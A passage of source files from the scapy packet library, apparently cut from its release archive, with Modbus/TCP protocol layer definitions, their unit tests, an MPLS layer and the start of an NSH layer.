guess_payload_class(self, payload): return ModbusReadFileSubResponse class ModbusPDU14ReadFileRecordResponse(Packet): name = "Read File Record Response" fields_desc = [XByteField("funcCode", 0x14), ByteField("dataLength", None)] def post_build(self, p, pay): if self.dataLength is None: l = len(pay) p = p[:1] + struct.pack("!B", l) + p[3:] return p + pay def guess_payload_class(self, payload): if self.dataLength > 0: return ModbusReadFileSubResponse else: return Packet.guess_payload_class(self, payload) class ModbusPDU14ReadFileRecordError(Packet): name = "Read File Record Exception" fields_desc = [XByteField("funcCode", 0x94), ByteEnumField("exceptCode", 1, _modbus_exceptions)] # 0x15 : Write File Record class ModbusWriteFileSubRequest(Packet): name = "Sub request of Write File Record" fields_desc = [ByteField("refType", 0x06), ShortField("fileNumber", 0x0001), ShortField("recordNumber", 0x0000), BitFieldLenField("recordLength", None, 16, length_of="recordData", adjust=lambda pkt, p: p/2), FieldListField("recordData", [0x0000], ShortField("", 0x0000), length_from=lambda pkt: pkt.recordLength*2)] def guess_payload_class(self, payload): if payload: return ModbusWriteFileSubRequest class ModbusPDU15WriteFileRecordRequest(Packet): name = "Write File Record" fields_desc = [XByteField("funcCode", 0x15), ByteField("dataLength", None)] def post_build(self, p, pay): if self.dataLength is None: l = len(pay) p = p[:1] + struct.pack("!B", l) + p[3:] return p + pay def guess_payload_class(self, payload): if self.dataLength > 0: return ModbusWriteFileSubRequest else: return Packet.guess_payload_class(self, payload) class ModbusWriteFileSubResponse(ModbusWriteFileSubRequest): name = "Sub response of Write File Record" def guess_payload_class(self, payload): if payload: return ModbusWriteFileSubResponse class ModbusPDU15WriteFileRecordResponse(ModbusPDU15WriteFileRecordRequest): name = "Write File Record Response" def guess_payload_class(self, payload): if self.dataLength > 0: return ModbusWriteFileSubResponse else: return Packet.guess_payload_class(self, payload) class ModbusPDU15WriteFileRecordError(Packet): name = "Write File Record Exception" fields_desc = [XByteField("funcCode", 0x95), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU16MaskWriteRegisterRequest(Packet): # and/or to 0xFFFF/0x0000 so that nothing is changed in memory name = "Mask Write Register" fields_desc = [XByteField("funcCode", 0x16), XShortField("refAddr", 0x0000), XShortField("andMask", 0xffff), XShortField("orMask", 0x0000)] class ModbusPDU16MaskWriteRegisterResponse(Packet): name = "Mask Write Register Response" fields_desc = [XByteField("funcCode", 0x16), XShortField("refAddr", 0x0000), XShortField("andMask", 0xffff), XShortField("orMask", 0x0000)] class ModbusPDU16MaskWriteRegisterError(Packet): name = "Mask Write Register Exception" fields_desc = [XByteField("funcCode", 0x96), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU17ReadWriteMultipleRegistersRequest(Packet): name = "Read Write Multiple Registers" fields_desc = [XByteField("funcCode", 0x17), XShortField("readStartingAddr", 0x0000), XShortField("readQuantityRegisters", 0x0001), XShortField("writeStartingAddr", 0x0000), BitFieldLenField("writeQuantityRegisters", None, 16, count_of="writeRegistersValue"), BitFieldLenField("byteCount", None, 8, count_of="writeRegistersValue", adjust=lambda pkt, x: x*2), FieldListField("writeRegistersValue", [0x0000], XShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU17ReadWriteMultipleRegistersResponse(Packet): name = "Read Write Multiple Registers Response" fields_desc = [XByteField("funcCode", 0x17), BitFieldLenField("byteCount", None, 8, count_of="registerVal", adjust=lambda pkt, x: x*2), FieldListField("registerVal", [0x0000], ShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU17ReadWriteMultipleRegistersError(Packet): name = "Read Write Multiple Exception" fields_desc = [XByteField("funcCode", 0x97), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusPDU18ReadFIFOQueueRequest(Packet): name = "Read FIFO Queue" fields_desc = [XByteField("funcCode", 0x18), XShortField("FIFOPointerAddr", 0x0000)] class ModbusPDU18ReadFIFOQueueResponse(Packet): name = "Read FIFO Queue Response" fields_desc = [XByteField("funcCode", 0x18), # TODO: ByteCount must includes size of FIFOCount BitFieldLenField("byteCount", None, 16, count_of="FIFOVal", adjust=lambda pkt, p: p*2+2), BitFieldLenField("FIFOCount", None, 16, count_of="FIFOVal"), FieldListField("FIFOVal", [], ShortField("", 0x0000), count_from=lambda pkt: pkt.byteCount)] class ModbusPDU18ReadFIFOQueueError(Packet): name = "Read FIFO Queue Exception" fields_desc = [XByteField("funcCode", 0x98), ByteEnumField("exceptCode", 1, _modbus_exceptions)] # TODO: not implemented, out of the main specification # class ModbusPDU2B0DCANOpenGeneralReferenceRequest(Packet): # name = "CANopen General Reference Request" # fields_desc = [] # # # class ModbusPDU2B0DCANOpenGeneralReferenceResponse(Packet): # name = "CANopen General Reference Response" # fields_desc = [] # # # class ModbusPDU2B0DCANOpenGeneralReferenceError(Packet): # name = "CANopen General Reference Error" # fields_desc = [] # 0x2B/0x0E - Read Device Identification values _read_device_id_codes = {1: "Basic", 2: "Regular", 3: "Extended", 4: "Specific"} # 0x00->0x02: mandatory # 0x03->0x06: optional # 0x07->0x7F: Reserved (optional) # 0x80->0xFF: product dependent private objects (optional) _read_device_id_object_id = {0x00: "VendorName", 0x01: "ProductCode", 0x02: "MajorMinorRevision", 0x03: "VendorUrl", 0x04: "ProductName", 0x05: "ModelName", 0x06: "UserApplicationName"} _read_device_id_conformity_lvl = {0x01: "Basic Identification (stream only)", 0x02: "Regular Identification (stream only)", 0x03: "Extended Identification (stream only)", 0x81: "Basic Identification (stream and individual access)", 0x82: "Regular Identification (stream and individual access)", 0x83: "Extended Identification (stream and individual access)"} _read_device_id_more_follow = {0x00: "No", 0x01: "Yes"} class ModbusPDU2B0EReadDeviceIdentificationRequest(Packet): name = "Read Device Identification" fields_desc = [XByteField("funcCode", 0x2B), XByteField("MEIType", 0x0E), ByteEnumField("readCode", 1, _read_device_id_codes), ByteEnumField("objectId", 0x00, _read_device_id_object_id)] class ModbusPDU2B0EReadDeviceIdentificationResponse(Packet): name = "Read Device Identification" fields_desc = [XByteField("funcCode", 0x2B), XByteField("MEIType", 0x0E), ByteEnumField("readCode", 4, _read_device_id_codes), ByteEnumField("conformityLevel", 0x01, _read_device_id_conformity_lvl), ByteEnumField("more", 0x00, _read_device_id_more_follow), ByteEnumField("nextObjId", 0x00, _read_device_id_object_id), ByteField("objCount", 0x00)] def guess_payload_class(self, payload): if self.objCount > 0: return ModbusObjectId else: return Packet.guess_payload_class(self, payload) class ModbusPDU2B0EReadDeviceIdentificationError(Packet): name = "Read Exception Status Exception" fields_desc = [XByteField("funcCode", 0xAB), ByteEnumField("exceptCode", 1, _modbus_exceptions)] class ModbusObjectId(Packet): name = "Object" fields_desc = [ByteEnumField("id", 0x00, _read_device_id_object_id), BitFieldLenField("length", None, 8, count_of="value"), StrLenField("value", "", length_from=lambda pkt: pkt.length)] def guess_payload_class(self, payload): return ModbusObjectId _modbus_request_classes = { 0x01: ModbusPDU01ReadCoilsRequest, 0x02: ModbusPDU02ReadDiscreteInputsRequest, 0x03: ModbusPDU03ReadHoldingRegistersRequest, 0x04: ModbusPDU04ReadInputRegistersRequest, 0x05: ModbusPDU05WriteSingleCoilRequest, 0x06: ModbusPDU06WriteSingleRegisterRequest, 0x07: ModbusPDU07ReadExceptionStatusRequest, 0x0F: ModbusPDU0FWriteMultipleCoilsRequest, 0x10: ModbusPDU10WriteMultipleRegistersRequest, 0x11: ModbusPDU11ReportSlaveIdRequest, 0x14: ModbusPDU14ReadFileRecordRequest, 0x15: ModbusPDU15WriteFileRecordRequest, 0x16: ModbusPDU16MaskWriteRegisterRequest, 0x17: ModbusPDU17ReadWriteMultipleRegistersRequest, 0x18: ModbusPDU18ReadFIFOQueueRequest, } _modbus_error_classes = { 0x81: ModbusPDU01ReadCoilsError, 0x82: ModbusPDU02ReadDiscreteInputsError, 0x83: ModbusPDU03ReadHoldingRegistersError, 0x84: ModbusPDU04ReadInputRegistersError, 0x85: ModbusPDU05WriteSingleCoilError, 0x86: ModbusPDU06WriteSingleRegisterError, 0x87: ModbusPDU07ReadExceptionStatusError, 0x8F: ModbusPDU0FWriteMultipleCoilsError, 0x90: ModbusPDU10WriteMultipleRegistersError, 0x91: ModbusPDU11ReportSlaveIdError, 0x94: ModbusPDU14ReadFileRecordError, 0x95: ModbusPDU15WriteFileRecordError, 0x96: ModbusPDU16MaskWriteRegisterError, 0x97: ModbusPDU17ReadWriteMultipleRegistersError, 0x98: ModbusPDU18ReadFIFOQueueError, 0xAB: ModbusPDU2B0EReadDeviceIdentificationError } _modbus_response_classes = { 0x01: ModbusPDU01ReadCoilsResponse, 0x02: ModbusPDU02ReadDiscreteInputsResponse, 0x03: ModbusPDU03ReadHoldingRegistersResponse, 0x04: ModbusPDU04ReadInputRegistersResponse, 0x05: ModbusPDU05WriteSingleCoilResponse, 0x06: ModbusPDU06WriteSingleRegisterResponse, 0x07: ModbusPDU07ReadExceptionStatusResponse, 0x0F: ModbusPDU0FWriteMultipleCoilsResponse, 0x10: ModbusPDU10WriteMultipleRegistersResponse, 0x11: ModbusPDU11ReportSlaveIdResponse, 0x14: ModbusPDU14ReadFileRecordResponse, 0x15: ModbusPDU15WriteFileRecordResponse, 0x16: ModbusPDU16MaskWriteRegisterResponse, 0x17: ModbusPDU17ReadWriteMultipleRegistersResponse, 0x18: ModbusPDU18ReadFIFOQueueResponse } _mei_types_request = { 0x0E: ModbusPDU2B0EReadDeviceIdentificationRequest, # 0x0D: ModbusPDU2B0DCANOpenGeneralReferenceRequest, } _mei_types_response = { 0x0E: ModbusPDU2B0EReadDeviceIdentificationResponse, # 0x0D: ModbusPDU2B0DCANOpenGeneralReferenceResponse, } class ModbusADURequest(Packet): name = "ModbusADU" fields_desc = [XShortField("transId", 0x0000), # needs to be unique XShortField("protoId", 0x0000), # needs to be zero (Modbus) ShortField("len", None), # is calculated with payload XByteField("unitId", 0xff)] # 0xFF (recommended as non-significant value) or 0x00 def guess_payload_class(self, payload): function_code = int(payload[0].encode("hex"), 16) sub_code = int(payload[1].encode("hex"), 16) if function_code == 0x2B: try: return _mei_types_request[sub_code] except KeyError: pass try: return _modbus_request_classes[function_code] except KeyError: pass return ModbusPDU00GenericRequest def post_build(self, p, pay): if self.len is None: l = len(pay) + 1 # +len(p) p = p[:4] + struct.pack("!H", l) + p[6:] return p + pay class ModbusADUResponse(Packet): name = "ModbusADU" fields_desc = [XShortField("transId", 0x0000), # needs to be unique XShortField("protoId", 0x0000), # needs to be zero (Modbus) ShortField("len", None), # is calculated with payload XByteField("unitId", 0xff)] # 0xFF or 0x00 should be used for Modbus over TCP/IP def guess_payload_class(self, payload): function_code = int(payload[0].encode("hex"), 16) sub_code = int(payload[1].encode("hex"), 16) if function_code == 0x2B: try: return _mei_types_response[sub_code] except KeyError: pass try: return _modbus_response_classes[function_code] except KeyError: pass try: return _modbus_error_classes[function_code] except KeyError: pass if function_code < 0x81: return ModbusPDU00GenericResponse return ModbusPDU00GenericError def post_build(self, p, pay): if self.len is None: l = len(pay) + 1 # +len(p) p = p[:4] + struct.pack("!H", l) + p[6:] return p + pay bind_layers(TCP, ModbusADURequest, dport=502) bind_layers(TCP, ModbusADUResponse, sport=502) scapy-2.3.3/scapy/contrib/modbus.uts000066400000000000000000000334121300136037300174420ustar00rootroot00000000000000% Modbus layer test campaign + Syntax check = Import the modbus layer from scapy.contrib.modbus import * + Test MBAP = MBAP default values str(ModbusADURequest()) == '\x00\x00\x00\x00\x00\x01\xff' = MBAP payload length calculation str(ModbusADURequest() / '\x00\x01\x02') == '\x00\x00\x00\x00\x00\x04\xff\x00\x01\x02' = MBAP Guess Payload ModbusPDU01ReadCoilsRequest (simple case) p = ModbusADURequest('\x00\x00\x00\x00\x00\x06\xff\x01\x00\x00\x00\x01') assert(isinstance(p.payload, ModbusPDU01ReadCoilsRequest)) = MBAP Guess Payload ModbusPDU01ReadCoilsResponse p = ModbusADUResponse('\x00\x00\x00\x00\x00\x04\xff\x01\x01\x01') assert(isinstance(p.payload, ModbusPDU01ReadCoilsResponse)) = MBAP Guess Payload ModbusPDU01ReadCoilsError p = ModbusADUResponse('\x00\x00\x00\x00\x00\x03\xff\x81\x02') assert(isinstance(p.payload, ModbusPDU01ReadCoilsError)) = MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationRequest (2 level test) p = ModbusADURequest('\x00\x00\x00\x00\x00\x04\xff+\x0e\x01\x00') assert(isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationRequest)) = MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationResponse p = ModbusADUResponse('\x00\x00\x00\x00\x00\x1b\xff+\x0e\x01\x83\x00\x00\x03\x00\x08Pymodbus\x01\x02PM\x02\x031.0') assert(isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationResponse)) = MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationError p = ModbusADUResponse('\x00\x00\x00\x00\x00\x03\xff\xab\x01') assert(isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationError)) = MBAP Guess Payload (Invalid payload) p = ModbusADURequest('\x00\x00\x00\x00\x00\x03\xff\xff\xff') assert(isinstance(p.payload, ModbusPDU00GenericRequest)) = MBAP Guess Payload ModbusPDU02ReadDiscreteInputsResponse p = ModbusADUResponse('\x00\x00\x00\x00\x00\x04\xff\x80\xff\x00') assert(isinstance(p.payload, ModbusPDU00GenericResponse)) = MBAP Guess Payload ModbusPDU02ReadDiscreteInputsError p = ModbusADUResponse('\x00\x00\x00\x00\x00\x04\xff\xff\xff\xff') assert(isinstance(p.payload, ModbusPDU00GenericError)) + Test layer binding = Destination port p = TCP()/ModbusADURequest() p[TCP].dport == 502 = Source port p = TCP()/ModbusADUResponse() p[TCP].sport == 502 + Test PDU * Note on tests cases: dissection/minimal parameters will not be done for packets that does not perform calculation # 0x01/0x81 Read Coils -------------------------------------------------------------- = ModbusPDU01ReadCoilsRequest str(ModbusPDU01ReadCoilsRequest()) == '\x01\x00\x00\x00\x01' = ModbusPDU01ReadCoilsRequest minimal parameters str(ModbusPDU01ReadCoilsRequest(startAddr=16, quantity=2)) == '\x01\x00\x10\x00\x02' = ModbusPDU01ReadCoilsRequest dissection p = ModbusPDU01ReadCoilsRequest('\x01\x00\x10\x00\x02') assert(p.startAddr == 16) assert(p.quantity == 2) = ModbusPDU01ReadCoilsResponse str(ModbusPDU01ReadCoilsResponse()) == '\x01\x01\x00' = ModbusPDU01ReadCoilsResponse minimal parameters str(ModbusPDU01ReadCoilsResponse(coilStatus=[0x10]*3)) == '\x01\x03\x10\x10\x10' = ModbusPDU01ReadCoilsResponse dissection p = ModbusPDU01ReadCoilsResponse('\x01\x03\x10\x10\x10') assert(p.coilStatus == [16, 16, 16]) assert(p.byteCount == 3) = ModbusPDU01ReadCoilsError str(ModbusPDU01ReadCoilsError() == '\x81\x01') = ModbusPDU81ReadCoilsError minimal parameters str(ModbusPDU01ReadCoilsError(exceptCode=2)) == '\x81\x02' = ModbusPDU81ReadCoilsError dissection p = ModbusPDU01ReadCoilsError('\x81\x02') assert(p.funcCode == 0x81) assert(p.exceptCode == 2) # 0x02/0x82 Read Discrete Inputs Registers ------------------------------------------ = ModbusPDU02ReadDiscreteInputsRequest str(ModbusPDU02ReadDiscreteInputsRequest()) == '\x02\x00\x00\x00\x01' = ModbusPDU02ReadDiscreteInputsRequest minimal parameters str(ModbusPDU02ReadDiscreteInputsRequest(startAddr=8, quantity=128)) == '\x02\x00\x08\x00\x80' = ModbusPDU02ReadDiscreteInputsResponse str(ModbusPDU02ReadDiscreteInputsResponse()) == '\x02\x01\x00' = ModbusPDU02ReadDiscreteInputsResponse minimal parameters str(ModbusPDU02ReadDiscreteInputsResponse(inputStatus=[0x02, 0x01])) == '\x02\x02\x02\x01' = ModbusPDU02ReadDiscreteInputsRequest dissection p = ModbusPDU02ReadDiscreteInputsResponse('\x02\x02\x02\x01') assert(p.byteCount == 2) assert(p.inputStatus == [0x02, 0x01]) = ModbusPDU02ReadDiscreteInputsError str(ModbusPDU02ReadDiscreteInputsError()) == '\x82\x01' # 0x03/0x83 Read Holding Registers -------------------------------------------------- = ModbusPDU03ReadHoldingRegistersRequest str(ModbusPDU03ReadHoldingRegistersRequest()) == '\x03\x00\x00\x00\x01' = ModbusPDU03ReadHoldingRegistersRequest minimal parameters str(ModbusPDU03ReadHoldingRegistersRequest(startAddr=2048, quantity=16)) == '\x03\x08\x00\x00\x10' = ModbusPDU03ReadHoldingRegistersResponse str(ModbusPDU03ReadHoldingRegistersResponse()) == '\x03\x02\x00\x00' = ModbusPDU03ReadHoldingRegistersResponse minimal parameters 1==1 = ModbusPDU03ReadHoldingRegistersResponse dissection p = ModbusPDU03ReadHoldingRegistersResponse('\x03\x06\x02+\x00\x00\x00d') assert(p.byteCount == 6) assert(p.registerVal == [555, 0, 100]) = ModbusPDU03ReadHoldingRegistersError str(ModbusPDU03ReadHoldingRegistersError()) == '\x83\x01' # 0x04/0x84 Read Input Register ----------------------------------------------------- = ModbusPDU04ReadInputRegistersRequest str(ModbusPDU04ReadInputRegistersRequest()) == '\x04\x00\x00\x00\x01' = ModbusPDU04ReadInputRegistersResponse str(ModbusPDU04ReadInputRegistersResponse()) == '\x04\x02\x00\x00' = ModbusPDU04ReadInputRegistersResponse minimal parameters str(ModbusPDU04ReadInputRegistersResponse(registerVal=[0x01, 0x02])) == '\x04\x04\x00\x01\x00\x02' = ModbusPDU04ReadInputRegistersError str(ModbusPDU04ReadInputRegistersError()) == '\x84\x01' # 0x05/0x85 Write Single Coil ------------------------------------------------------- = ModbusPDU05WriteSingleCoilRequest str(ModbusPDU05WriteSingleCoilRequest()) == '\x05\x00\x00\x00\x00' = ModbusPDU05WriteSingleCoilResponse str(ModbusPDU05WriteSingleCoilResponse()) == '\x05\x00\x00\x00\x00' = ModbusPDU05WriteSingleCoilError str(ModbusPDU05WriteSingleCoilError()) == '\x85\x01' # 0x06/0x86 Write Single Register --------------------------------------------------- = ModbusPDU06WriteSingleRegisterError str(ModbusPDU06WriteSingleRegisterRequest()) == '\x06\x00\x00\x00\x00' = ModbusPDU06WriteSingleRegisterResponse str(ModbusPDU06WriteSingleRegisterResponse()) == '\x06\x00\x00\x00\x00' = ModbusPDU06WriteSingleRegisterError str(ModbusPDU06WriteSingleRegisterError()) == '\x86\x01' # 0x07/0x87 Read Exception Status (serial line only) -------------------------------- # 0x08/0x88 Diagnostics (serial line only) ------------------------------------------ # 0x0b Get Comm Event Counter: serial line only ------------------------------------- # 0x0c Get Comm Event Log: serial line only ----------------------------------------- # 0x0f/0x8f Write Multiple Coils ---------------------------------------------------- = ModbusPDU0FWriteMultipleCoilsRequest str(ModbusPDU0FWriteMultipleCoilsRequest()) = ModbusPDU0FWriteMultipleCoilsRequest minimal parameters str(ModbusPDU0FWriteMultipleCoilsRequest(outputsValue=[0x01, 0x01])) == '\x0f\x00\x00\x00\x01\x02\x01\x01' = ModbusPDU0FWriteMultipleCoilsResponse str(ModbusPDU0FWriteMultipleCoilsResponse()) == '\x0f\x00\x00\x00\x01' = ModbusPDU0FWriteMultipleCoilsError str(ModbusPDU0FWriteMultipleCoilsError()) == '\x8f\x01' # 0x10/0x90 Write Multiple Registers ---------------------------------------------------- = ModbusPDU10WriteMultipleRegistersRequest str(ModbusPDU10WriteMultipleRegistersRequest()) == '\x10\x00\x00\x00\x01\x02\x00\x00' = ModbusPDU10WriteMultipleRegistersRequest minimal parameters str(ModbusPDU10WriteMultipleRegistersRequest(outputsValue=[0x0001, 0x0002])) == '\x10\x00\x00\x00\x02\x04\x00\x01\x00\x02' = ModbusPDU10WriteMultipleRegistersResponse str(ModbusPDU10WriteMultipleRegistersResponse()) == '\x10\x00\x00\x00\x01' = ModbusPDU10WriteMultipleRegistersError str(ModbusPDU10WriteMultipleRegistersError()) == '\x90\x01' # 0x11/91 Report Server ID: serial line only ---------------------------------------- # 0x14/944 Read File Record --------------------------------------------------------- = ModbusPDU14ReadFileRecordRequest len parameters str(ModbusPDU14ReadFileRecordRequest()/ModbusReadFileSubRequest()/ModbusReadFileSubRequest()) == '\x14\x0e\x06\x00\x01\x00\x00\x00\x01\x06\x00\x01\x00\x00\x00\x01' = ModbusPDU14ReadFileRecordRequest minimal parameters str(ModbusPDU14ReadFileRecordRequest()/ModbusReadFileSubRequest(fileNumber=4, recordNumber=1, recordLength=02)/ModbusReadFileSubRequest(fileNumber=3, recordNumber=9, recordLength=2)) == '\x14\x0e\x06\x00\x04\x00\x01\x00\x02\x06\x00\x03\x00\t\x00\x02' = ModbusPDU14ReadFileRecordRequest dissection p = ModbusPDU14ReadFileRecordRequest('\x14\x0e\x06\x00\x04\x00\x01\x00\x02\x06\x00\x03\x00\t\x00\x02') assert(isinstance(p.payload, ModbusReadFileSubRequest)) assert(isinstance(p.payload.payload, ModbusReadFileSubRequest)) = ModbusPDU14ReadFileRecordResponse minimal parameters str(ModbusPDU14ReadFileRecordResponse()/ModbusReadFileSubResponse(recData=[0x0dfe, 0x0020])/ModbusReadFileSubResponse(recData=[0x33cd, 0x0040])) == '\x14\x0c\x05\x06\r\xfe\x00 \x05\x063\xcd\x00@' = ModbusPDU14ReadFileRecordResponse dissection p = ModbusPDU14ReadFileRecordResponse('\x14\x0c\x05\x06\r\xfe\x00 \x05\x063\xcd\x00@') assert(isinstance(p.payload, ModbusReadFileSubResponse)) assert(isinstance(p.payload.payload, ModbusReadFileSubResponse)) = ModbusPDU14ReadFileRecordError str(ModbusPDU14ReadFileRecordError()) == '\x94\x01' # 0x15/0x95 Write File Record ------------------------------------------------------- = ModbusPDU15WriteFileRecordRequest minimal parameters str(ModbusPDU15WriteFileRecordRequest()/ModbusWriteFileSubRequest(fileNumber=4, recordNumber=07, recordData=[0x06af, 0x04be, 0x100d])) == '\x15\r\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r' = ModbusPDU15WriteFileRecordRequest dissection p = ModbusPDU15WriteFileRecordRequest('\x15\x0d\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r') assert(isinstance(p.payload, ModbusWriteFileSubRequest)) assert(p.payload.recordLength == 3) = ModbusPDU15WriteFileRecordResponse minimal parameters str(ModbusPDU15WriteFileRecordResponse()/ModbusWriteFileSubResponse(fileNumber=4, recordNumber=07, recordData=[0x06af, 0x04be, 0x100d])) == '\x15\r\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r' = ModbusPDU15WriteFileRecordResponse dissection p = ModbusPDU15WriteFileRecordResponse('\x15\x0d\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r') assert(isinstance(p.payload, ModbusWriteFileSubResponse)) assert(p.payload.recordLength == 3) = ModbusPDU15WriteFileRecordError str(ModbusPDU15WriteFileRecordError()) == '\x95\x01' # 0x16/0x96 Mask Write Register ----------------------------------------------------- = ModbusPDU16MaskWriteRegisterRequest str(ModbusPDU16MaskWriteRegisterRequest()) == '\x16\x00\x00\xff\xff\x00\x00' = ModbusPDU16MaskWriteRegisterResponse str(ModbusPDU16MaskWriteRegisterResponse()) == '\x16\x00\x00\xff\xff\x00\x00' = ModbusPDU16MaskWriteRegisterError str(ModbusPDU16MaskWriteRegisterError()) == '\x96\x01' # 0x17/0x97 Read/Write Multiple Registers ------------------------------------------- = ModbusPDU17ReadWriteMultipleRegistersRequest str(ModbusPDU17ReadWriteMultipleRegistersRequest()) == '\x17\x00\x00\x00\x01\x00\x00\x00\x01\x02\x00\x00' = ModbusPDU17ReadWriteMultipleRegistersRequest minimal parameters str(ModbusPDU17ReadWriteMultipleRegistersRequest(writeRegistersValue=[0x0001, 0x0002])) == '\x17\x00\x00\x00\x01\x00\x00\x00\x02\x04\x00\x01\x00\x02' = ModbusPDU17ReadWriteMultipleRegistersRequest dissection p = ModbusPDU17ReadWriteMultipleRegistersRequest('\x17\x00\x00\x00\x01\x00\x00\x00\x02\x04\x00\x01\x00\x02') assert(p.byteCount == 4) assert(p.writeQuantityRegisters == 2) = ModbusPDU17ReadWriteMultipleRegistersResponse str(ModbusPDU17ReadWriteMultipleRegistersResponse()) == '\x17\x02\x00\x00' = ModbusPDU17ReadWriteMultipleRegistersResponse minimal parameters str(ModbusPDU17ReadWriteMultipleRegistersResponse(registerVal=[1,2,3])) == '\x17\x06\x00\x01\x00\x02\x00\x03' = ModbusPDU17ReadWriteMultipleRegistersResponse dissection str(ModbusPDU17ReadWriteMultipleRegistersResponse('\x17\x02\x00\x01')) == '\x17\x02\x00\x01' = ModbusPDU17ReadWriteMultipleRegistersError str(ModbusPDU17ReadWriteMultipleRegistersError()) == '\x97\x01' # 0x18/0x88 Read FIFO Queue --------------------------------------------------------- = ModbusPDU18ReadFIFOQueueRequest str(ModbusPDU18ReadFIFOQueueRequest()) == '\x18\x00\x00' = ModbusPDU18ReadFIFOQueueResponse = ModbusPDU18ReadFIFOQueueResponse str(ModbusPDU18ReadFIFOQueueResponse()) == '\x18\x00\x02\x00\x00' = ModbusPDU18ReadFIFOQueueResponse minimal parameters str(ModbusPDU18ReadFIFOQueueResponse(FIFOVal=[0x0001, 0x0002, 0x0003])) == '\x18\x00\x08\x00\x03\x00\x01\x00\x02\x00\x03' = ModbusPDU18ReadFIFOQueueResponse dissection p = ModbusPDU18ReadFIFOQueueResponse('\x18\x00\x08\x00\x03\x00\x01\x00\x02\x00\x03') assert(p.byteCount == 8) assert(p.FIFOCount == 3) = ModbusPDU18ReadFIFOQueueError str(ModbusPDU18ReadFIFOQueueError()) == '\x98\x01' # 0x2b encapsulated Interface Transport --------------------------------------------- # 0x2b 0xOD CANopen General Reference (out of the main specification) --------------- # 0x2b 0xOE Read Device Information ------------------------------------------------- = ModbusPDU2B0EReadDeviceIdentificationRequest str(ModbusPDU2B0EReadDeviceIdentificationRequest()) =='+\x0e\x01\x00' = ModbusPDU2B0EReadDeviceIdentificationResponse str(ModbusPDU2B0EReadDeviceIdentificationResponse()) == '+\x0e\x04\x01\x00\x00\x00' = ModbusPDU2B0EReadDeviceIdentificationResponse dissection p = ModbusPDU2B0EReadDeviceIdentificationResponse('+\x0e\x01\x83\x00\x00\x03\x00\x08Pymodbus\x01\x02PM\x02\x031.0') assert(p.payload.payload.payload.id == 2) assert(p.payload.payload.id == 1) assert(p.payload.id == 0) = ModbusPDU2B0EReadDeviceIdentificationError str(ModbusPDU2B0EReadDeviceIdentificationError()) == '\xab\x01' scapy-2.3.3/scapy/contrib/mpls.py000066400000000000000000000015421300136037300167400ustar00rootroot00000000000000# http://trac.secdev.org/scapy/ticket/31 # scapy.contrib.description = MPLS # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers, Padding from scapy.fields import BitField,ByteField from scapy.layers.inet import IP from scapy.layers.inet6 import IPv6 from scapy.layers.l2 import Ether, GRE class MPLS(Packet): name = "MPLS" fields_desc = [ BitField("label", 3, 20), BitField("cos", 0, 3), BitField("s", 1, 1), ByteField("ttl", 0) ] def guess_payload_class(self, payload): if len(payload) >= 1: ip_version = (ord(payload[0]) >> 4) & 0xF if ip_version == 4: return IP elif ip_version == 6: return IPv6 return Padding bind_layers(Ether, MPLS, type=0x8847) bind_layers(GRE, MPLS, proto=0x8847) scapy-2.3.3/scapy/contrib/nsh.py000066400000000000000000000052611300136037300165570ustar00rootroot00000000000000#! /usr/bin/env python # scapy.contrib.description = nsh # scapy.contrib.status = loads from scapy.all import bind_layers from scapy.fields import BitField, ByteField, ByteEnumField from scapy.fields import ShortField, X3BytesField, XIntField from scapy.fields import ConditionalField, PacketListField from scapy.layers.inet import Ether, IP from scapy.layers.inet6 import IPv6 from scapy.layers.vxlan import VXLAN from scapy.packet import Packet from scapy.contrib.mpls import MPLS # # NSH Support # https://www.ietf.org/id/draft-ietf-sfc-nsh-05.txt # class Metadata(Packet): name = 'NSH metadata' fields_desc = [XIntField('value', 0)] class NSHTLV(Packet): "NSH MD-type 2 - Variable Length Context Headers" name = "NSHTLV" fields_desc = [ ShortField('Class', 0), BitField('Critical', 0, 1), BitField('Type', 0, 7), BitField('Reserved', 0, 3), BitField('Len', 0, 5), PacketListField('Metadata', None, XIntField, count_from='Len') ] class NSH(Packet): """Network Service Header. NSH MD-type 1 if there is no ContextHeaders""" name = "NSH" fields_desc = [ BitField('Ver', 0, 2), BitField('OAM', 0, 1), BitField('Critical', 0, 1), BitField('Reserved', 0, 6), BitField('Len', 0, 6), ByteEnumField('MDType', 1, {1: 'Fixed Length', 2: 'Variable Length'}), ByteEnumField('NextProto', 3, {1: 'IPv4', 2: 'IPv6', 3: 'Ethernet', 4: 'NSH', 5: 'MPLS'}), X3BytesField('NSP', 0), ByteField('NSI', 1), ConditionalField(XIntField('NPC', 0), lambda pkt: pkt.MDType == 1), ConditionalField(XIntField('NSC', 0), lambda pkt: pkt.MDType == 1), ConditionalField(XIntField('SPC', 0), lambda pkt: pkt.MDType == 1), ConditionalField(XIntField('SSC', 0), lambda pkt: pkt.MDType == 1), ConditionalField(PacketListField("ContextHeaders", None, NSHTLV, count_from="Length"), lambda pkt: pkt.MDType == 2) ] def mysummary(self): return self.sprintf("NSP: %NSP% - NSI: %NSI%") bind_layers(Ether, NSH, {'type': 0x894F}, type=0x894F) bind_layers(VXLAN, NSH, {'flags': 0xC, 'NextProtocol': 4}, NextProtocol=4) bind_layers(NSH, IP, {'NextProto': 1}, NextProto=1) bind_layers(NSH, IPv6, {'NextProto': 2}, NextProto=2) bind_layers(NSH, Ether, {'NextProto': 3}, NextProto=3) bind_layers(NSH, NSH, {'NextProto': 4}, NextProto=4) bind_layers(NSH, MPLS, {'NextProto': 5}, NextProto=5) scapy-2.3.3/scapy/contrib/nsh.uts000066400000000000000000000020271300136037300167370ustar00rootroot00000000000000% NSH Tests * Tests for the 